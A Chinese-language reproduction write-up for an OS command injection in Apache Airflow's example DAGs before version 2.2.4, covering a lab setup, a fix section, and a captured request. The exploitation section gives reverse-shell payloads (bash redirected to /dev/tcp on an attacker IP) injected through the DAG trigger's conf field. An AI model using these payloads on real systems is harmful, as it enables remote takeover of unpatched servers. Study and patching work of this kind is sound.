目录
0x01 声明
仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x02 简介
Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。
0x03 漏洞概述
在 Apache Airflow 2.2.4 之前的版本中,一些示例 DAG 没有正确清理用户提供的参数,使其容易受到来自 Web UI 的 OS 命令注入的影响。
0x04 影响版本
Apache Airflow < 2.2.4
0x05 环境搭建
1、Docker环境:
参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)
2、漏洞环境:
- 下载yaml文档:
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'
- 修改yaml文档:
vim docker-compose.yaml
image: postgres:latest
privileged: true(没有就加一个)
- 创建文件夹:
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
- 初始化docker(主要需要启动docker服务):
systemctl start docker(启动docker)
docker-compose up airflow-init(初始化)
- 启动airflow:
docker-compose -f docker-compose.yaml up -d
0x06 漏洞复现
1、登录airflow
浏览器打开ip:8080端口
用户名:airflow
密码:airflow
2、利用漏洞(1):
Kali开启监听:
nc -lvp 9999
插入反弹shell:
{"foo":"\";bash -i >& /dev/tcp/192.168.18.120/9999 0>&1;\""}
反弹成功:
3、利用漏洞(2):
反弹shell:
{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/8881 0>&1;\""}
0x07 流量分析
抓取请求时的流量
请求url:/trigger?dag_id=tutorial
请求内容:
csrf_token=ImQ1ZTkyZmVjMGJhMDc4MjY2YzgxNjAxM2Y5ZjViNzNjYzE4YjUyODYi.YwcHeQ._yLNb7DixdJhPIx_NHAgb3-inAQ&dag_id=tutorial&origin=%2Fhome&execution_date=2022-08-25+05%3A24%3A09%2B00%3A00&conf=%7B%22foo%22%3A%22%5C%22%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.18.120%2F9999+0%3E%261%3B%5C%22%22%7D&unpause=on
用url解码:
0x08 修复方式
1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
http://seclists.org/oss-sec/2022/q1/160
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)